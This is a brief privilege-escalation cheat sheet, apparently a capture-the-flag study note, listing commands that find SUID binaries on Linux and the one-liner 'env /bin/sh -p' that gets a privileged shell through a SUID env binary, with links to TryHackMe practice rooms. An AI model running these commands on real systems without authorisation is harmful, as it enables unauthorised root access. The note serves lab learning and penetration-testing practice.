Search for files with SUID set
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
env
env /bin/sh -p
References
Linux Privilege Escalation: SUID
Practice
>>> 25 Days of Cyber Security - Day 11
>>> THM | Advent of Cyber 1 [2019] - Day 8 (Task 13)
>>> THM | Anonymous - Exploit SUID of env